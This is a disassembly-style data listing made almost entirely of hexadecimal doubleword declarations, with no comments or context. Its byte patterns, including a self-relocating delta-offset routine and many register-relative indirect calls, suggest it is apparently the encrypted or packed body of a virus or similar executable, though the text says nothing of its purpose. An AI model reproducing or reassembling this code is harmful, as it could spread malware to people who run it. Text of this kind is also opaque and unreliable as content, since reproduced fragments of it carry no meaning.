		dd 7874EE81h, 0E9564E9Eh, 0Ah, 2459909Eh, 4C4B8793h, 38FC18Ah
		dd 0EB81D6B1h, 3D50D18Ch, 8158F553h, 50D188C3h,	8E93Dh
		dd 0CE8A0000h, 68400E4Dh, 0EF83216Ah, 8E850F01h, 0B9FFFFFFh
		dd 463E37EAh, 0A58F8D8Dh, 8589093Bh, 93502B1h, 16298D89h
		dd 8E0F0935h, 4, 0DE56BB66h, 287D85C7h,	66CC0935h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 62CB46C3h, 6810Fh, 9D890000h, 9350B75h, 0E5BD8B60h
		dd 0B509350Ch, 85C76117h, 9352255h, 0
		dd 0FFD0B70Fh, 350D15B5h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 461323FCh
		dd 616078D0h, 595FF37h,	6A09350Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 1A2CC353h
		dd 9750D47Ch, 890F4178h, 6, 19B589h, 6A0935h, 82995FFh
		dd 0C08B0935h, 31FA4CEBh, 69E907DFh, 0BCF0F39h,	834F152Fh
		dd 0B2490C19h, 6F9DC34Ch, 0FC36918Ch, 658D0703h, 76390EA4h
		dd 6CB7907Ch, 2E584A4Ah, 2DD35230h, 0AD730D34h,	0FD073306h
		dd 93F90B11h, 91C19F0Ah, 0B0039711h, 6023DB03h,	65E11C62h
		dd 8D8DEBC0h, 93BA63Dh,	16298D89h, 95890935h, 9352F61h
		dd 287D85C7h, 64580935h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0BB79D2C3h, 225585C7h
		dd 935h, 0C28B0000h, 0D45B5FFh,	95FF0935h, 9350D05h, 2C59BE66h
		dd 95FF006Ah, 9350829h,	6AEBC08Bh, 0D6EB0F95h, 0D628CD61h
		dd 58E8B570h, 0A04B8B3Ch, 422F62A5h, 71DC20EEh,	641CF711h
		dd 8D4F48Ch, 1BC4FB6Bh,	2A9D74A4h, 804652Dh, 0AD3C7ABBh
		dd 27C05149h, 94E74335h, 0BFC8EEFAh, 96E06E60h,	0BF48190h
		dd 0F7221AD2h, 0BB066577h, 7E8F4B88h, 98C03C5Fh, 0D65D30BFh
		dd 0F509C053h, 2D518CAFh, 0BF04029Ah, 6D09E8CCh, 5E8AF1Bh
		dd 0D4000000h, 7D98DE54h, 0F56EBE66h, 68C18159h, 6000005Eh
		dd 68A0Fh, 810F0000h, 0
		dd 15FD9D03h, 33610935h, 0D9589DBh, 0FF09352Eh,	9D310B34h
		dd 935273Dh, 0F99D895Fh, 81093507h, 0C8AB7FEFh,	5195890Dh
		dd 8109350Ch, 153462C7h, 0FD8D015Ch, 8109351Bh,	0F54E51EFh
		dd 0C68B6677h, 0ABC08157h, 8F60555Eh, 860F1904h, 4, 58D38B51h
		dd 0CE9h, 1644C200h, 9810007Eh,	4D98CEEFh, 1EB8328h, 0A5F4B866h
		dd 514B4B4Bh, 9E8h, 0E4EB7500h,	73BE425Fh, 870F7414h, 0
		dd 0FB815E58h, 0FFFFA268h, 12850Fh, 0B58B0000h,	9350591h
		dd 1AE9h, 0C5188800h, 0EEA4C5A6h, 2C059529h, 60E90935h
		dd 72FFFFFFh, 0B0A35D17h, 8D2772E3h, 3BA82C8Dh,	3DB86609h
		dd 298D8974h, 8B093516h, 35117185h, 7D85C709h, 78093528h
		dd 6A00005Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0A33AC355h, 816634E7h,	18938E2h
		dd 350AE59Dh, 6800F09h,	89000000h, 352A659Dh, 5585C709h
		dd 93522h, 89000000h, 352EA19Dh, 79B5FF09h, 8A09352Ch
		dd 98C880FEh, 0D0595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0C2E97EC3h, 9DAA44A6h
		dd 0F18D89B0h, 6A093532h, 2995FF00h, 8B093508h,	0CB29EBC0h
		dd 7040C6B2h, 7D1D30FFh, 0B649F8EDh, 0F17D596Bh, 3334212h
		dd 86EAEE2Ch, 66E50420h, 68768D1Eh, 3B8BCC30h, 15117FEEh
		dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 3BA868EDh, 8428B09h
		dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h
		dd 3D568116h, 0E883C333h, 29858904h, 8B093516h,	0F88B0458h
		dd 8B10428Bh, 0C8D3184Ah, 98EB91BEh, 2BC633AAh,	0FCE083C7h
		dd 8904E883h, 35287D85h, 14428B09h, 22558589h, 428B0935h
		dd 0B0E95318h, 0FF000000h, 352E9DB5h, 0B9E909h,	0B5FF0000h
		dd 93506B5h, 0AEE9h, 45B5FF00h,	0E909350Ch, 0A3h, 1BBDB5FFh
		dd 98E90935h, 0FF000000h, 352C79B5h, 8DE909h, 0B5FF0000h
		dd 93503DDh, 82E9h, 11B5FF00h, 0E909352Bh, 77h,	2BF5B5FFh
		dd 6CE90935h, 0FF000000h, 3511F5B5h, 61E909h, 0B5FF0000h
		dd 9350D15h, 56E9h, 39B5FF00h, 0E9093512h, 4Bh,	41B5FFh
		dd 40E90935h, 0FF000000h, 350A69B5h, 35E909h, 0B5FF0000h
		dd 935331Dh, 2AE9h, 95B5FF00h, 0E9093530h, 1Fh,	0D45B5FFh
		dd 14E90935h, 8B000000h, 0BB8D8h, 0F7660000h, 0C98D8DE3h
		dd 3093BA8h, 0FFE1FFC8h, 350D0595h, 858B5B09h, 9351629h
		dd 0F045839h, 0F85h, 16A5300h, 82995FFh, 0E95B0935h, 0FFFFFFE2h
		dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 2759858Bh, 8D8D0935h
		dd 93BA9B7h, 8B014189h,	0CE8C3h, 89430000h, 66644E70h
		dd 3A0F7EBFh, 12BA7E81h, 587D22FAh, 1F8E0Fh, 13E80000h
		dd 0CF000000h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h, 87073DAh
		dd 8C0F89D7h, 0
aZbH		db 'Z│юуh',0
		dw 8B00h
		dd 19FBBBD1h, 82BA0000h, 8B4B7244h, 67C28030h, 9F5BEE81h
		dd 0F57664Ch, 68Ch, 8F0F00h, 59000000h,	8AE0F681h, 11E84391h
		dd 3E000000h, 21D4DB76h, 0F1A6E9FAh, 0CF781E5h,	0E325256Fh
		dd 13E9h, 0BEA18E00h, 0B58580D0h, 8044A4EBh, 12C2CE9h
		dd 46B41F2Eh, 0FDC6815Fh, 0E942D924h, 14h, 7FA31218h, 0C22EBAFCh
		dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h, 5A503089h, 0E901E883h
		dd 0Dh,	0E9EC1ABCh, 0A7F2FA90h,	0E5A6E544h, 484848F0h
		dd 1EB83F5h, 0FF6D850Fh, 0CE9FFFFh, 7000000h, 99BF7701h
		dd 4ED64E32h, 0C644E472h, 35179D85h, 0DF685609h, 0FFA9C530h
		dd 35167DB5h, 70858D09h, 0FF09387Bh, 0A58D8DD0h, 5109352Eh
		dd 0B5FF406Ah, 9352421h, 25E5B5FFh, 0D0FF0935h,	2421B5FFh
		dd 0B5FF0935h, 93525E5h, 0EE8h,	0A8AA4100h, 0E8CDA16Fh
		dd 79C5AD80h, 5E1CBFD4h, 4EE835Eh, 2242CC1h, 22424C1h
		dd 0F7243403h, 0FF33241Ch, 593734FFh, 0B6AAF181h, 0E9817067h
		dd 33F9F68h, 85F4C181h,	0C89569Ch, 2EF833Eh, 3C3B4F4Fh
		dd 0A850F24h, 0E9000000h, 1Dh, 0F1B83635h, 0FFCAE9C7h
		dd 182BFFFFh, 16E7650Eh, 0FEC1620Fh, 41CA276Fh,	8501C5C5h
		dd 19D8D3Ch, 8B093527h,	0FC00B03h, 784h, 8B038B00h, 1889045Bh
		dd 0ABE9C98Bh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh
		dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
		dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h,	9FB79960h
		dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
		dd 9FA5B4h, 0F07B6B5Ch,	8A924Ah, 45F352D0h, 0A3F653F5h
		dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h,	0FD756BBFh
		dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh,	0B29EBD94h
		dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
		dd 0B3ED7293h, 1E80097h, 3D94E7A6h, 6F3C8332h, 0E7E958F9h
		dd 68000011h, 93BADEDh,	0F9D28FE9h, 0AEFF68FFh,	85E9093Bh
		dd 68FFF9D2h, 93BAFDEh,	0F9D27BE9h, 0B13368FFh,	71E9093Bh
		dd 68FFF9D2h, 93BB1C1h,	0F9D267E9h, 0B27368FFh,	5DE9093Bh
		dd 68FFF9D2h, 93BB311h,	0F9D253E9h, 0B3D668FFh,	49E9093Bh
		dd 68FFF9D2h, 93BB4A3h,	0F9D23FE9h, 0B60368FFh,	35E9093Bh
		dd 68FFF9D2h, 93BB6FDh,	0F9D22BE9h, 0B83C68FFh,	21E9093Bh
		dd 68FFF9D2h, 93BB950h,	0F9D217E9h, 0BB5568FFh,	0DE9093Bh
		dd 68FFF9D2h, 93BBC38h,	0F9D203E9h, 0E1C674FFh,	0B02944BCh
		dd 0DFFA75EBh, 0B5223ABEh, 0E0F970E8h, 0FF8B00BBh, 0B62A7366h
		dd 0FD8318BDh, 0B3257663h, 0D77922BFh, 95E3E9F7h, 0C6D712FAh
		dd 0AE2B4705h, 445DD143h, 653D8857h, 64343B69h,	0C6E81503h
		dd 961CC206h, 9213011Bh, 0DB69E80Ch, 13011BF5h,	84452FB6h
		dd 92852449h, 271Eh, 9B2E6D00h,	4AD50BC3h, 0AE150372h
		dd 953BC928h, 56130111h, 0A9E4E5CFh, 0C1928529h, 3FB2273Fh
		dd 0DE9239BDh, 41000000h, 43AE2B47h, 0B24158D1h, 3EB5223Eh
		dd 0C65956CAh, 9E8815DBh, 420EB4EAh, 0E40A1C36h, 6094011Ah
		dd 3641C3D2h, 0E0F9751Ch, 0C02945BBh, 0DBD34ADh, 0A5A9145Eh
		dd 0AE40A95h, 91495CE7h, 0F16F913Dh, 6B8B0DE4h,	29AB2D5h
		dd 4C802615h, 0E4FAB9B2h, 13005DDEh, 0DA1AD4DAh, 0BCB749FDh
		dd 9E56DA19h, 49A8013h,	0BD855F91h, 0A6484DE6h,	705E8448h
		dd 840BCC90h, 0D9506A62h, 7DF20CC0h, 13DEFB70h,	0C2975F91h
		dd 32B2273Eh, 0E9A213E0h, 998C76FDh, 5A00000Fh,	3EC2DBF8h
		dd 73E5B623h, 44BCE1FCh, 6EF2AB2Ch, 2B9E2F7h, 71680189h
		dd 1ABFB42Ch, 7461FF81h, 24BDB127h, 0E7FDD177h,	12FA94DDh
		dd 1507CCD9h, 0FAC2CFADh, 3A92B03Dh, 35A21EA4h,	60941A1Ch
		dd 396277EEh, 6D2EABC7h, 0C39B2EBEh, 724AD50Bh,	28AE1503h
		dd 11953BC9h, 0CF561301h, 29A9E4E5h, 3FC19285h,	30A9C124h
		dd 42B13FC1h, 0EC8F36BEh, 40000000h, 1EAE2B47h,	0E476855Eh
		dd 0B63ECEE5h, 0F4699337h, 782235BFh, 0FAF40097h, 0F0E980FAh
		dd 0A3247301h, 18141C35h, 0A19A6E51h, 52CB3F62h, 0C628AC47h
		dd 71ED7328h, 0ABFE8968h, 5734DEC5h, 0B236BDD8h, 0F8338F0Eh
		dd 0F87C7760h, 2AD4F8F6h, 0CA4EA532h, 1D607E2Ah, 93150339h
		dd 2701C10Dh, 36B4A68h,	8C5B30C4h, 536D6139h, 0AF31C0DDh
		dd 0D4FDA347h, 900BCCD3h, 223CBE0Eh, 93674D93h,	3D631C33h
		dd 38BC40B3h, 0E6F36A94h, 76EF11B5h, 199363h, 0F09B4D99h
		dd 5F02E9A1h, 0E8777h, 0CDEA4800h, 8C1508D0h, 0CBD6490Fh
		dd 81160ED2h, 0CCCD641Ch, 0D3B7C4CFh, 9A5E3F5Ah, 0D1871481h
		dd 0A759425Fh, 9B8D0E8Bh, 9407ADF3h, 0D20312FAh, 0AB2E47F1h
		dd 2A879923h, 0C84CA734h, 87F9CE26h, 4E65FEEBh,	36412A90h
		dd 76781E1Ch, 47302378h, 0D143AE2Bh, 0A157445Dh, 3AE0138Eh
		dd 0C72FA8C0h, 0DBC0D955h, 0F7C22727h, 42F1AF1Fh, 40150355h
		dd 0BE35A2BEh, 0E204BA3Ah, 0A43A8E3Ah, 13012A1Eh, 0D260941Ah
		dd 0E2875BEBh, 29B7B104h, 1D771BA3h, 0EFDF1197h, 940D219Bh
		dd 851BDB5Dh, 1644365Ah, 693881Eh, 2B7E09E8h, 0CF615B73h
		dd 8C8F2B0h, 1ABC24ACh,	667C20D4h, 1D83FFB0h, 902AA244h
		dd 70F4FF98h, 4AE6D884h, 0AD9F7E1Fh, 26C8FA6Fh,	726F0375h
		dd 51E6CC72h, 6852D1E8h, 0DA8h,	0ADEECB69h, 0F2AB362Bh
		dd 0B7E4F16Eh, 0EBB02941h, 0C0DDFC75h, 6D0486F3h, 0B2A92F6Ch
		dd 6C027627h, 0B6AA2E6Fh, 10BC7429h, 0FA92E8D2h, 0CAFDC12h
		dd 43AE2B47h, 0A4051D9Fh, 16DE1089h, 6C60388Bh,	12879E20h
		dd 40354CE2h, 2DB31503h, 0A006B670h, 98FADB3Bh,	81149F57h
		dd 37C905C9h, 0C9579F3Ah, 0BCE606Eh, 0CDC5E49Ch, 69D514F0h
		dd 22D1D78Dh, 35442C92h, 0D7C05C1Ch, 2BB4A81Ch,	100461C8h
		dd 0FBE93C55h, 50F6ABE2h, 3ABC89h, 2E0B0000h, 0BF0BC39Bh
		dd 801E2DFFh, 0E0FE02BBh, 1C35E4DAh, 0CE26C8CEh, 2B07C40h
		dd 5E6E7015h, 0C8D5C25Ch, 130D0F4h, 736C0013h, 2BB8B62Ah
		dd 0C749A835h, 0E1E0CA29h, 3100000Ch, 5BD39B2Eh, 861CB03Eh
		dd 150DED64h, 7E3E8E10h, 0DD7ECF2Bh, 0EBA3AA0h,	0B32C40BAh
		dd 0C638BC40h, 79F10BAAh, 53388260h, 0A83612FAh, 12FA5322h
		dd 0AC329016h, 8BA75942h, 7F3FE30Eh, 71704E3Dh,	972ACA40h
		dd 5478540Ch, 0FAB3248Eh, 0D3C45C12h, 80269C20h, 4F0E57Eh
		dd 5B074A58h, 0EBED0BD2h, 6C45D9E3h, 9409E7F0h,	0DA5750CCh
		dd 3EB034BFh, 0D59D28B3h, 32B63D5Ch, 1FD210BCh,	95150324h
		dd 7021D313h, 0F57CF2D4h, 0C530Dh, 81261400h, 0D0C9641Ch
		dd 7F1A15CBh, 0D5C25A1Eh, 801910C8h, 9F6B201Bh,	0D68A1386h
		dd 9D63385Dh, 0D3851683h, 7759425Fh, 90438917h,	0A63712FAh
		dd 41A52B25h, 0E9BC1C36h, 0E239D31h, 18DC6093h,	0E8F32E74h
		dd 0EFF1150Dh, 3641DDDFh, 0C62DAAC4h, 961AA042h, 660E12FAh
		dd 0FA969238h, 8E608612h, 961AA03Eh, 880E12FAh,	7C226666h
		dd 12FA9636h, 7348AC32h, 896871EDh, 0DBF3ABFEh,	0C795CEC5h
		dd 60842A0Bh, 0E9ADEBE2h, 0C58E78FBh, 8600000Bh, 2AAEEFD4h
		dd 6FF1AA37h, 40B8E5F0h, 6AEEAF28h, 0FEB5E6F3h,	7564FD8Dh
		dd 1EBBB028h, 7865FB7Dh, 0D8C15D23h, 23C10DC3h,	12FA9099h
		dd 47BB008Dh, 0D143AE2Bh, 10AD445Dh, 0D73617FDh, 90894FFDh
		dd 6A7h, 0C39B2E3Fh, 2FFBF0Bh, 0A30429AAh
		dd 5BD8C3Bh, 9BF93ABDh,	80A1C55Bh, 5355150Dh, 0B6AD4F7Bh
		dd 0A84CD023h, 9D3A36h,	0D3FBE478h, 7E4E47EBh, 0AD49EED0h
		dd 0A1309626h, 7C4712FAh, 0D120B9B4h, 612DA14Fh, 0FAA17943h
		dd 8B6B6D12h, 0A0CAC1DFh, 881E0BC7h, 13B9E796h,	71C27A0h
		dd 60E40FE1h, 0E4C2568Eh, 981BE9ADh, 0B13AEh, 4166D400h
		dd 1089A45Ch, 3F5AD58Bh, 15829A5Eh, 4059D088h, 5F2B605Bh
		dd 16CAD3C6h, 5D23781Dh, 13C5D6C3h, 3719821Fh, 8F834957h
		dd 667712FAh, 0AE2B4765h, 545DD143h, 0AF31C0D9h, 213B241h
		dd 0FDD43912h, 0F093894Fh, 0F4000005h, 3641A52Bh, 31E9BC1Ch
		dd 0E99F079Dh, 5157150Dh, 0D0EF837Dh, 0FA96A812h, 0F4FA9C12h
		dd 0B43D31A7h, 51D31EBBh, 0FCC7549Fh, 519F3834h, 0B4AF517Dh
		dd 0A64ED221h, 0C7958118h, 1141810Bh, 0C4FC60EBh, 0FE1F871h
		dd 2FB739E7h, 0E9AD9C9Fh, 75CBB33Eh, 3600000Ah,	7AFE9F04h
		dd 0DFA1FAE7h, 90485540h, 0DA9EFF98h, 4E455643h, 0C5D44D3Dh
		dd 8E0B20D8h, 0C8D54B0Dh, 88110DD3h, 33711D13h,	12FA8E89h
		dd 476B507Dh, 0D143AE2Bh, 4488445Dh, 3641149Eh,	3E8E101Ch
		dd 36411AA0h, 6C880E1Ch, 0E3FE73E5h, 14859C10h,	8EA55BDDh
		dd 2481E80Bh, 4DA03530h, 0FE276667h, 3440894Fh,	8F000005h
		dd 0BC39B2Eh, 0DE9BCD5h, 16B63815h, 76DC4366h, 4FA7A222h
		dd 841D11ABh, 0D4CD6117h, 0FE83C8F8h, 0CE0D41BAh, 0B719A726h
		dd 0CE12FB3Ch, 0D3AB23FBh, 9DBDE196h, 4EFAFABBh, 0C75BF990h
		dd 0FD5F90Bh, 1C275BA5h, 0F4C3FFA1h, 15083F4Dh,	29AF6591h
		dd 0AD7BCFBDh, 3B23CEE9h, 9B0h,	0B5E6C371h, 0EAB32E43h
		dd 0BFDCF976h, 0E3B82139h, 895041Dh, 958C7E0Bh,	4AE19704h
		dd 948A4E4Fh, 4EE29607h, 28644C51h, 0FA8E507Ah,	34974412h
		dd 6875EB15h, 811E128Ch, 1FBAB34Dh, 1DA450D4h, 0C72AB7ABh
		dd 9A48842Ah, 1C364130h, 1D728224h, 10AA1237h, 2C4A33DDh
		dd 6E9F3FB7h, 0F98950F0h, 473h,	41A02BDAh, 0ECB71C36h
		dd 98F49834h, 3641C00Ah, 9A20BE1Ch, 8E1C3641h, 0C034BA08h
		dd 0DE93832h, 0DA08AC15h, 12FA96F0h, 970AB0EEh,	0D8FE12FAh
		dd 0A22AC4EAh, 29B0418h, 0FEF5E27Eh, 0E17E2671h, 757BFDF4h
		dd 0CACF6759h, 0AD51A527h, 0C7B1ECF7h, 0C8D6B20Bh, 1C278E02h
		dd 4E04F0F6h, 0F6A69C48h, 6CF7E9ADh, 8E382h, 11B6A400h
		dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh
		dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh,	8DD3F9A7h
		dd 16C712FAh, 0AE2B47B5h, 21D9F43h, 1CD85C97h, 0E2118EA2h
		dd 0E0FECA72h, 1C3641DAh, 57F8C8CEh, 0DC7E8677h, 0CEB60BEBh
		dd 0E1BA273Bh, 50BB9CF1h, 16FCB89h, 47FC0000h, 5492802Bh
		dd 0D25345DDh, 49A7302Ch, 9D3A36AAh, 2978F31h, 7F4A15F2h
		dd 0D11FBAB7h, 5880E7FDh, 72741503h, 4A702E5Ah,	3E130117h
		dd 31D55C98h, 0EC07928Fh, 0D0F68C68h, 91130117h, 0E6272014h
		dd 81928527h, 48h, 0C39B2E52h, 223DBF0Bh, 66B13FB7h, 9A150372h
		dd 9D121CE6h, 5CE01386h, 0CCB55764h, 7F41CF22h,	40130064h
		dd 50B92E8Eh, 3E79BD10h, 627B69B6h, 9285E22Bh, 0CC3Ch
		dd 0AC368600h, 0A9302DF4h, 78FAC64Ah, 761DD90Ah, 0A20AD15h
		dd 2BB3BE67h, 0C4DD51CBh, 37A2BB2Dh, 0CBD448BCh, 0FDB8B428h
		dd 3615DDE7h, 19D7D91Ch, 3CE5E084h, 1B171C36h, 77421D7Eh
		dd 0EA712F9Fh, 9E1501EBh, 0C8F8D4F8h, 0B1321ECh, 606A782Bh
		dd 5412FF0Dh, 26B3AC52h, 1AD49CBh, 97FEF5CDh, 0AA572559h
		dd 4059D04Ah, 0D549735Bh, 0BFB628CCh, 0CCCECA1Ah, 24CFF2D6h
		dd 7833Ah, 0B1164400h, 0E0F974ECh, 0AF2A45BBh, 0E5F26AEEh
		dd 0B02940B8h, 0AF5B30EBh, 67A23B6h, 0AD33686Dh, 37526B3h
		dd 8729726Fh, 8B339947h, 762712FAh, 0AB2E4755h,	0B2275B23h
		dd 0C8564F7Eh, 27574F2Ch, 8652CC2Bh, 81FBFBE4h,	0FFA7F4EDh
		dd 7E7663FDh, 8C2B47DFh, 2E0FD72h, 1C3641B8h, 2DC42AACh
		dd 0FE0CA7BBh, 0E7FB4945h, 0E9217A74h, 23Bh, 70EB152Ah
		dd 0B3069165h, 2597F3DBh, 0D56B8B0Eh, 15035306h, 7705ECF2h
		dd 13013051h, 0FDF4ED81h, 0EC07928Bh, 42250F7Ch, 0EBECD84Dh
		dd 92850AA2h, 1E6C5h, 0AD150600h, 927DD9Eh, 0DFE3658Ch
		dd 857161E8h, 3615C2EFh, 0FAD2E51Ch, 0BD600CD2h, 5254150Dh
		dd 0F3EC807Ah, 9D3A36AAh, 4918F31h, 48B6BEDh, 8C522C77h
		dd 12FABA26h, 92507C22h, 12FABA28h, 58747A1Ch, 0C7D59F4Ah
		dd 9353550Bh, 0E9ADDADBh, 89775F02h, 4A000006h,	0ED2CBE8h
		dd 63158613h, 14CCD1CCh, 5E227B1Ch, 0D2C9D2C7h,	4158D1B9h
		dd 0A8FA45Ch, 4451CF91h, 148DA157h, 0B7EDA187h,	12FA8C0Dh
		dd 47F7DC09h, 43A0BE2Bh, 0AD43AD28h, 0D2ECA046h, 30B43F5Ch
		dd 364208B2h, 1ADAFC1Ch, 0E0138CA0h, 46312370h,	36F0AD2Ah
		dd 0C92DAAC4h, 4FF9E429h, 12D8389h, 47440000h, 5E1EAE2Bh
		dd 10F94DCh, 0F37A7A16h, 0A7F4ED81h, 0F9D58D18h, 32B84EBh
		dd 7B767815h, 122CBEDh,	2B198C13h, 17908C2Eh, 82727C19h
		dd 851CB3DAh, 33B492h, 2E130000h, 0D50BC39Bh, 1503724Ah
		dd 0A92E46B8h, 802EC64Ah, 0D04C6E5Eh, 59640699h, 21CF7C7Eh
		dd 0F8BE4ED5h, 0B913012Bh, 2E5F786Ch, 39928510h, 0B5h
		dd 73EB159Ah, 1C8E66h, 71E85C97h, 1B178968h, 196E4E7Eh
		dd 21B6AE86h, 0A1413CA1h, 0C65ACE55h, 0B20AC4D9h, 0ECC9A78Ah
		dd 1FB541C1h, 1C353290h, 4A534CE0h, 5A722A7Dh, 1641D44h
		dd 0F9D5DB15h, 0E17D6807h, 79FBF6F8h, 0C5FDD17Dh, 7FF7637Eh
		dd 0AD15975Ah, 668EB329h, 3F5C7DF4h, 0FC0BA0B9h, 692147F5h
		dd 0BC80648Ah, 21F2D6ACh, 54A9882h, 290B0000h, 0D4490F8Ch
		dd 1708D0CDh, 0D74F118Ah, 0E27D9C2h, 7009128Bh,	8516839Ah
		dd 603D58D3h, 84198698h, 267760FCh, 2E944A82h, 2A12FA89h
		dd 0EB155A79h, 118B6B76h, 641C8118h, 5247DFC8h,	0CAD31D9Fh
		dd 0AE2B47E9h, 445DD143h, 212B57h, 475C0000h, 33A0BE2Bh
		dd 41BF059Bh, 35BB1C36h, 0A8C438BBh, 5DC42Fh, 0D4CD6114h
		dd 2A9BC7h, 47EC0000h, 5E1EAE2Bh, 0B5EEB0BBh, 2BB24219h
		dd 35BD1A9Dh, 0C8D54A1Ch, 2CB9B729h, 0A64DA334h, 6500F411h
		dd 0EC9F8558h, 95366770h, 43AE2B47h, 9935EDB8h,	0DEDE90Bh
		dd 0D259715h, 13E3658Ch, 69933B5Dh, 0DEE0ECF5h,	0F89E5542h
		dd 0FA95E0EAh, 1CD2D412h, 0A84C49E2h, 88110DD3h, 0DB09C569h
		dd 12FA95F1h, 3F9FF4E3h, 2E94D207h, 0EEB94CA8h,	4AA92E46h
		dd 0BB2438C6h, 923AB438h, 0D1EBED4Ch, 9C5EB0Bh,	3D5E7BF7h
		dd 0D74AA7BBh, 42CD24CAh, 712F9F77h, 1502F282h,	0A6747076h
		dd 37F2D49Fh, 436C2ACh,	45F70000h, 0A8C53B60h, 7BF46C31h
		dd 0A3BB3D5Eh, 7AF36536h, 4753E5Fh, 0B1EAEF86h,	0FCA1342Fh
		dd 0B0EDEA84h, 0F2AB3428h, 6A508E3Eh, 5E12FA88h, 2B478E2Dh
		dd 9539EDAEh, 3641654Fh, 833F611Ch, 0EB630010h,	27C784Ah
		dd 0E82716Eh, 0A11B6312h, 80F3C4C4h, 0E0487270h, 9A3C1C35h
		dd 0DE2F9D54h, 826F03F6h, 706900EDh, 0FFF1FF81h, 5A61AC9Eh
		dd 4A068950h, 0C5000000h, 1FA19B2Eh, 0DC609306h, 3641BC06h
		dd 0B836B81Ch, 6774EA14h, 12B8E68Ch, 61C3642h, 42E60EE0h
		dd 30D189Ch, 8AA41615h,	0B53BE90Dh, 0C89A719h, 0F609AD8Fh
		dd 25391300h, 719DFBCh,	9B3579Ah, 7A6A8A17h, 378h, 0AE2B47CBh
		dd 21D9F43h, 71ED5F97h,	1943368h, 0F85F8549h, 0EC150363h
		dd 0C8EF9DBCh, 723060D9h, 13005348h, 9A549A3Ch,	5407C957h
		dd 6C81300h, 9B5B7CF4h,	507D5E46h, 179285ECh, 45h, 30830B73h
		dd 81706900h, 0FDE7C3FFh, 2E19B83Ch, 0D50BC39Bh, 1503724Ah
		dd 25C928AEh, 0D81B869Bh, 0AC12A054h, 6D130111h, 24B0CF8h
		dd 6892852Ah, 1D347E24h, 0BE301301h, 42BC32A7h,	0A249AD2Ah
		dd 103h, 0AE2B47F1h, 4158D143h,	7EF20CB2h, 0B1AF6161h
		dd 0E6EF7902h, 0F5809C0Eh, 35E205AFh, 11DF011Ch, 0E5F26EE2h
		dd 3B5ED7E9h, 0D6E8DEBBh, 36BA395Eh, 0A94851C8h, 5641CF27h
		dd 0B41C35E1h, 6F87140Ah, 237861FDh, 99912Bh, 41536FF1h
		dd 95FE94C5h, 61FD6F87h, 0DBEE7978h, 0CBFFCB03h, 3635AF15h
		dd 0F105AB1Ch, 3620463h, 0D6F6F815h, 21C6ECB2h,	69C01301h
		dd 70D3C499h, 926C7250h, 23F8FC99h, 35997144h, 0CCD3BA6Fh
		dd 2F44BA0Bh, 2BC547AAh, 9B0619A3h, 4F48E458h, 26CE20A4h
		dd 0D2764682h, 32000915h, 0E707C43Fh, 5F91A418h, 8D0C2597h
		dd 0D8D14810h, 52925C45h, 0E9A1C17Eh, 31EAD45Fh, 0F2000002h
		dd 0C63A6340h, 0EB6D2EABh, 0AC346974h, 67A23B4h, 6A316A6Fh
		dd 0F9E07911h, 5247DCA4h, 0FC999749h, 5C45D99Fh, 9F45893Fh
		dd 12FA8615h, 473F8411h, 3CF2AB2Eh, 0C32EABC2h,	273BB541h
		dd 2EF2E1BAh, 0D50BC39Bh, 1503724Ah, 961708B8h,	12FE9566h
		dd 47AA2CE2h, 11D17B9h,	674DD813h, 0D9C65862h, 0BE5E961Ah
		dd 92851E8Fh, 0CAD8h, 2B47B700h, 58D143AEh, 0FB738D41h
		dd 99716DEh, 1C36419Eh,	8815829Eh, 0B0435CD0h, 14B89023h
		dd 36B8FCEh, 0A53B8F15h, 1301121Fh, 0B361951Bh,	0C4CF702Dh
		dd 0F20CC00Ch, 1FA53B7Ah, 1B130112h, 0F2985B95h, 11306ACh
		dd 12DC0213h, 0C3AA4CE2h, 781E0BCCh, 36B3AA54h,	0D4589B38h
		dd 0E8CAB21Ah, 0ED051B52h, 0CF91668Eh, 83A34356h, 1AE9A174h
		dd 14EAF97h, 2D0F0000h,	0D04D1388h, 130CD4C9h, 0CB631586h
		dd 120BCDCEh, 6C1D1687h, 8912879Eh, 64395CD7h, 8815829Ch
		dd 5A435CD0h, 42881676h, 3612FA85h, 0B91526A5h,	3641A12Bh
		dd 4059D11Ch, 23952FB1h, 965E900Dh, 0F8C0D24h, 0CCD549h
		dd 7E7663FEh, 62FB05A9h, 47E07F77h, 0D143AE2Bh,	0A157445Dh
		dd 52DD148Dh, 0A13F8F47h, 15036D0Ah, 8B79781Eh,	552D2A1Ah
		dd 323715E0h, 0ED5F9793h, 94336871h, 5F854901h,	0BCD859Ch
		dd 0E95B9618h, 13856C75h, 1737E1Bh, 0E7E756Ch, 0F714D7BDh
		dd 0E7B2BEA6h, 2019F2Fh, 0F6150286h, 0F903ABF0h, 0D7F7762h
		dd 0F7698811h, 0E5F26C79h, 8D648A0Eh, 0B3462E9Fh, 0A23F32BFh
		dd 7A23CD4Fh, 1B12DAEDh, 0FFF1737Eh, 0B5342DCFh, 23CE20B9h
		dd 0D4C15FA1h, 0AF5B9B1Dh, 0CDB1BAF1h, 0C928AE0Bh, 33BEDB57h
